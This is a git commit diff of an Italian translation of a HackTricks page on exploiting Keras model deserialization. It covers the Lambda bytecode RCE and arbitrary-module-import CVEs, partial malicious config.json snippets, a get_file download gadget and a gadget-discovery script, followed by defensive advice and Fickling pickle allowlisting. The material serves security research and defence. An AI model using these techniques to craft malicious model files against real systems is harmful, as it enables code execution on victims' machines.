Translated ['', 'src/generic-methodologies-and-resources/python/keras-mo

This commit is contained in:
Translator 2025-09-29 12:08:40 +00:00
parent 9b88c222b1
commit b27baadcf5

View File

@ -2,18 +2,18 @@
{{#include ../../banners/hacktricks-training.md}}
Questa pagina riassume le tecniche di sfruttamento pratico contro il pipeline di deserializzazione del modello Keras, spiega gli interni del formato .keras e la superficie di attacco, e fornisce un toolkit per i ricercatori per trovare Vulnerabilità dei File Modello (MFV) e gadget post-fix.
Questa pagina riassume tecniche pratiche di exploitation contro la pipeline di deserializzazione dei modelli Keras, spiega gli internals del formato nativo .keras e la sua attack surface, e fornisce un toolkit per ricercatori per trovare Model File Vulnerabilities (MFVs) e post-fix gadgets.
## Interni del formato modello .keras
## Interni del formato del modello .keras
Un file .keras è un archivio ZIP che contiene almeno:
- metadata.json informazioni generiche (ad es., versione Keras)
- config.json architettura del modello (superficie di attacco principale)
- metadata.json informazioni generiche (es., versione di Keras)
- config.json architettura del modello (primary attack surface)
- model.weights.h5 pesi in HDF5
Il config.json guida la deserializzazione ricorsiva: Keras importa moduli, risolve classi/funzioni e ricostruisce strati/oggetti da dizionari controllati dall'attaccante.
Il config.json controlla la deserializzazione ricorsiva: Keras importa moduli, risolve classi/funzioni e ricostruisce layer/oggetti da dizionari controllati dall'attaccante.
Esempio di frammento per un oggetto di strato Dense:
Example snippet for a Dense layer object:
```json
{
"module": "keras.layers",
@ -31,22 +31,22 @@ Esempio di frammento per un oggetto di strato Dense:
}
}
```
Deserialization esegue:
- Importazione di moduli e risoluzione di simboli dalle chiavi module/class_name
- invocazione di from_config(...) o del costruttore con kwargs controllati dall'attaccante
- Ricorsione in oggetti annidati (attivazioni, inizializzatori, vincoli, ecc.)
Deserialization performs:
- Module import and symbol resolution from module/class_name keys
- from_config(...) or constructor invocation with attacker-controlled kwargs
- Recursion into nested objects (activations, initializers, constraints, etc.)
Storicamente, questo ha esposto tre primitive a un attaccante che crea config.json:
Storicamente, questo esponeva tre primitive a un attaccante che costruiva config.json:
- Controllo di quali moduli vengono importati
- Controllo di quali classi/funzioni vengono risolte
- Controllo di kwargs passati ai costruttori/from_config
- Controllo dei kwargs passati ai costruttori/from_config
## CVE-2024-3660 RCE bytecode Lambda-layer
## CVE-2024-3660 Lambda-layer bytecode RCE
Causa principale:
- Lambda.from_config() utilizzava python_utils.func_load(...) che decodifica in base64 e chiama marshal.loads() sui byte dell'attaccante; la deserializzazione di Python può eseguire codice.
Root cause:
- Lambda.from_config() used python_utils.func_load(...) which base64-decodes and calls marshal.loads() on attacker bytes; Python unmarshalling can execute code.
Idea di exploit (payload semplificato in config.json):
Exploit idea (simplified payload in config.json):
```json
{
"module": "keras.layers",
@ -61,18 +61,18 @@ Idea di exploit (payload semplificato in config.json):
}
```
Mitigazione:
- Keras imposta safe_mode=True per impostazione predefinita. Le funzioni Python serializzate in Lambda sono bloccate a meno che un utente non scelga esplicitamente di disattivare con safe_mode=False.
- Keras enforces safe_mode=True by default. Serialized Python functions in Lambda are blocked unless a user explicitly opts out with safe_mode=False.
Note:
- I formati legacy (salvataggi HDF5 più vecchi) o le codebase più vecchie potrebbero non applicare controlli moderni, quindi gli attacchi in stile "downgrade" possono ancora applicarsi quando le vittime utilizzano loader più vecchi.
- I formati legacy (vecchi salvataggi HDF5) o codebase più datate potrebbero non applicare i controlli moderni, quindi gli attacchi in stile “downgrade” possono ancora applicarsi quando le vittime usano loader più vecchi.
## CVE-2025-1550 Importazione di moduli arbitrari in Keras ≤ 3.8
## CVE-2025-1550 Import arbitrario di moduli in Keras ≤ 3.8
Causa principale:
- _retrieve_class_or_fn utilizzava importlib.import_module() senza restrizioni con stringhe di moduli controllate dall'attaccante da config.json.
- Impatto: Importazione arbitraria di qualsiasi modulo installato (o modulo piantato dall'attaccante su sys.path). Il codice viene eseguito al momento dell'importazione, quindi si verifica la costruzione dell'oggetto con kwargs dell'attaccante.
- _retrieve_class_or_fn usava importlib.import_module() senza restrizioni con stringhe di modulo controllate dall'attaccante provenienti da config.json.
- Impatto: import arbitrario di qualsiasi modulo installato (o di un modulo piazzato dall'attaccante su sys.path). Il codice all'import viene eseguito, poi la costruzione dell'oggetto avviene con kwargs controllati dall'attaccante.
Idea di sfruttamento:
Exploit idea:
```json
{
"module": "maliciouspkg",
@ -81,15 +81,15 @@ Idea di sfruttamento:
}
```
Miglioramenti della sicurezza (Keras ≥ 3.9):
- Elenco di moduli consentiti: importazioni limitate ai moduli ufficiali dell'ecosistema: keras, keras_hub, keras_cv, keras_nlp
- Allowlist dei moduli: import limitati ai moduli dell'ecosistema ufficiale: keras, keras_hub, keras_cv, keras_nlp
- Modalità sicura predefinita: safe_mode=True blocca il caricamento di funzioni serializzate Lambda non sicure
- Controllo dei tipi di base: gli oggetti deserializzati devono corrispondere ai tipi attesi
- Controllo di tipo di base: gli oggetti deserializzati devono corrispondere ai tipi attesi
## Superficie gadget post-fix all'interno dell'elenco consentito
## Superficie dei gadget post-fix nella allowlist
Anche con l'elenco consentito e la modalità sicura, rimane una superficie ampia tra le chiamate Keras consentite. Ad esempio, keras.utils.get_file può scaricare URL arbitrari in posizioni selezionabili dall'utente.
Anche con l'allowlisting e la safe mode, rimane una superficie ampia tra i callables di Keras consentiti. Per esempio, keras.utils.get_file può scaricare URL arbitrari in posizioni selezionabili dall'utente.
Gadget tramite Lambda che fa riferimento a una funzione consentita (non bytecode Python serializzato):
Gadget via Lambda che fa riferimento a una funzione consentita (non bytecode Python serializzato):
```json
{
"module": "keras.layers",
@ -105,19 +105,19 @@ Gadget tramite Lambda che fa riferimento a una funzione consentita (non bytecode
}
}
```
Importante limitazione:
- Lambda.call() aggiunge il tensore di input come primo argomento posizionale quando invoca il callable target. I gadget scelti devono tollerare un argomento posizionale extra (o accettare *args/**kwargs). Questo limita quali funzioni sono valide.
Limitazione importante:
- Lambda.call() antepone il tensor di input come primo argomento posizionale quando viene invocato il callable target. I gadget scelti devono tollerare un argomento posizionale extra (o accettare *args/**kwargs). Questo vincola quali funzioni sono utilizzabili.
Impatti potenziali dei gadget autorizzati:
- Download/scrittura arbitraria (piantagione di percorsi, avvelenamento della configurazione)
- Callback di rete/effetti simili a SSRF a seconda dell'ambiente
- Collegamento all'esecuzione del codice se i percorsi scritti vengono successivamente importati/eseguiti o aggiunti a PYTHONPATH, o se esiste una posizione di esecuzione scrivibile
Possibili impatti degli allowlisted gadgets:
- Download/scrittura arbitraria (path planting, config poisoning)
- Callback di rete / effetti simili a SSRF a seconda dell'ambiente
- Possibilità di esecuzione di codice se i percorsi scritti vengono poi importati/eseguiti o aggiunti a PYTHONPATH, o se esiste una location scrivibile che esegue al momento della scrittura (execution-on-write)
## Toolkit del ricercatore
## Toolkit per i ricercatori
1) Scoperta sistematica di gadget nei moduli consentiti
1) Scoperta sistematica dei gadget nei moduli consentiti
Enumerare i callable candidati tra keras, keras_nlp, keras_cv, keras_hub e dare priorità a quelli con effetti collaterali su file/rete/processo/ambiente.
Enumerare i callable candidati in keras, keras_nlp, keras_cv, keras_hub e dare priorità a quelli con effetti collaterali su file/rete/processo/ambiente.
```python
import importlib, inspect, pkgutil
@ -160,9 +160,9 @@ candidates.append(text)
print("\n".join(sorted(candidates)[:200]))
```
2) Test di deserializzazione diretta (nessun archivio .keras necessario)
2) Test diretto di deserialization (nessun archivio .keras necessario)
Fornire dizionari creati direttamente ai deserializzatori Keras per apprendere i parametri accettati e osservare gli effetti collaterali.
Inserisci dicts appositamente creati direttamente nei deserializers di Keras per apprendere i params accettati e osservare gli effetti collaterali.
```python
from keras import layers
@ -178,24 +178,65 @@ cfg = {
layer = layers.deserialize(cfg, safe_mode=True) # Observe behavior
```
3) Probing e formati tra versioni
3) Cross-version probing and formats
Keras esiste in più codebase/epoche con diverse protezioni e formati:
- Keras integrato in TensorFlow: tensorflow/python/keras (legacy, previsto per la cancellazione)
Keras esiste in più codebase/ere con diversi meccanismi di sicurezza e formati:
- TensorFlow built-in Keras: tensorflow/python/keras (legacy, previsto per la rimozione)
- tf-keras: mantenuto separatamente
- Keras 3 multi-backend (ufficiale): introdotto il .keras nativo
- Multi-backend Keras 3 (official): ha introdotto il formato nativo .keras
Ripeti i test tra codebase e formati (.keras vs legacy HDF5) per scoprire regressioni o protezioni mancanti.
Ripetere i test attraverso codebase e formati (.keras vs legacy HDF5) per scoprire regressioni o protezioni mancanti.
## Raccomandazioni difensive
## Defensive recommendations
- Tratta i file modello come input non attendibili. Carica modelli solo da fonti fidate.
- Tieni Keras aggiornato; usa Keras ≥ 3.9 per beneficiare di allowlisting e controlli di tipo.
- Non impostare safe_mode=False quando carichi modelli a meno che non ti fidi completamente del file.
- Considera di eseguire la deserializzazione in un ambiente sandboxed, con privilegi minimi, senza uscita di rete e con accesso al filesystem ristretto.
- Applica allowlists/firme per le fonti dei modelli e controlli di integrità dove possibile.
- Trattare i file modello come input non attendibili. Caricare modelli solo da sorgenti trusted.
- Tenere Keras aggiornato; usare Keras ≥ 3.9 per beneficiare di allowlisting e controlli di tipo.
- Non impostare safe_mode=False quando si caricano modelli a meno che non si abbia completa fiducia nel file.
- Considerare di eseguire la deserializzazione in un ambiente sandboxed e least-privileged senza accesso di rete in uscita e con accesso al filesystem ristretto.
- Applicare allowlists/signatures per le sorgenti dei modelli e controlli di integrità quando possibile.
## Riferimenti
## ML pickle import allowlisting for AI/ML models (Fickling)
Molti formati di modelli AI/ML (PyTorch .pt/.pth/.ckpt, joblib/scikit-learn, vecchi artifact TensorFlow, ecc.) incorporano dati Python pickle. Gli aggressori abusano regolarmente degli import GLOBAL di pickle e dei costruttori di oggetti per ottenere RCE o sostituzione del modello durante il caricamento. I scanner basati su blacklist spesso non rilevano import pericolosi nuovi o non elencati.
Una difesa pratica fail-closed è agganciare il deserializer pickle di Python e consentire solo un set revisionato di import innocui correlati allML durante lunpickling. Trail of Bits Fickling implementa questa policy e distribuisce una allowlist di import ML curata, costruita a partire da migliaia di pickles pubblici su Hugging Face.
Modello di sicurezza per import “sicuri” (intuizioni distillate da ricerca e pratica): i simboli importati usati da un pickle devono simultaneamente:
- Non eseguire codice o causare esecuzione (niente oggetti compiled/source code, esecuzione di comandi esterni, hook, ecc.)
- Non ottenere/impostare attributi o elementi arbitrari
- Non importare o ottenere riferimenti ad altri oggetti Python dalla VM del pickle
- Non innescare deserializer secondari (es. marshal, nested pickle), neanche indirettamente
Abilitare le protezioni di Fickling il prima possibile nellavvio del processo in modo che eventuali caricamenti di pickle effettuati da framework (torch.load, joblib.load, ecc.) siano verificati:
```python
import fickling
# Sets global hooks on the stdlib pickle module
fickling.hook.activate_safe_ml_environment()
```
Suggerimenti operativi:
- Puoi disabilitare/riabilitare temporaneamente gli hooks dove necessario:
```python
fickling.hook.deactivate_safe_ml_environment()
# ... load fully trusted files only ...
fickling.hook.activate_safe_ml_environment()
```
- Se un modello noto come valido è bloccato, estendi la allowlist per il tuo ambiente dopo aver esaminato i simboli:
```python
fickling.hook.activate_safe_ml_environment(also_allow=[
"package.subpackage.safe_symbol",
"another.safe.import",
])
```
- Fickling espone anche dei guard di runtime generici se preferisci un controllo più granulare:
- fickling.always_check_safety() per applicare i controlli su tutti i pickle.load()
- with fickling.check_safety(): per enforcement limitato (scoped)
- fickling.load(path) / fickling.is_likely_safe(path) per controlli one-off
- Preferisci formati di modello non-pickle quando possibile (es., SafeTensors). Se devi accettare pickle, esegui i loader con least privilege, senza network egress e applica l'allowlist.
Questa strategia allowlist-first blocca dimostrabilmente i percorsi di exploit comuni dei pickle ML mantenendo un'elevata compatibilità. Nel benchmark di ToB, Fickling ha segnalato il 100% dei file dannosi sintetici e ha consentito ~99% dei file puliti provenienti dai principali repo di Hugging Face.
## References
- [Hunting Vulnerabilities in Keras Model Deserialization (huntr blog)](https://blog.huntr.com/hunting-vulnerabilities-in-keras-model-deserialization)
- [Keras PR #20751 Added checks to serialization](https://github.com/keras-team/keras/pull/20751)
@ -203,5 +244,11 @@ Ripeti i test tra codebase e formati (.keras vs legacy HDF5) per scoprire regres
- [CVE-2025-1550 Keras arbitrary module import (≤ 3.8)](https://nvd.nist.gov/vuln/detail/CVE-2025-1550)
- [huntr report arbitrary import #1](https://huntr.com/bounties/135d5dcd-f05f-439f-8d8f-b21fdf171f3e)
- [huntr report arbitrary import #2](https://huntr.com/bounties/6fcca09c-8c98-4bc5-b32c-e883ab3e4ae3)
- [Trail of Bits blog Ficklings new AI/ML pickle file scanner](https://blog.trailofbits.com/2025/09/16/ficklings-new-ai/ml-pickle-file-scanner/)
- [Fickling Securing AI/ML environments (README)](https://github.com/trailofbits/fickling#securing-aiml-environments)
- [Fickling pickle scanning benchmark corpus](https://github.com/trailofbits/fickling/tree/master/pickle_scanning_benchmark)
- [Picklescan](https://github.com/mmaitre314/picklescan), [ModelScan](https://github.com/protectai/modelscan), [model-unpickler](https://github.com/goeckslab/model-unpickler)
- [Sleepy Pickle attacks background](https://blog.trailofbits.com/2024/06/11/exploiting-ml-models-with-pickle-file-attacks-part-1/)
- [SafeTensors project](https://github.com/safetensors/safetensors)
{{#include ../../banners/hacktricks-training.md}}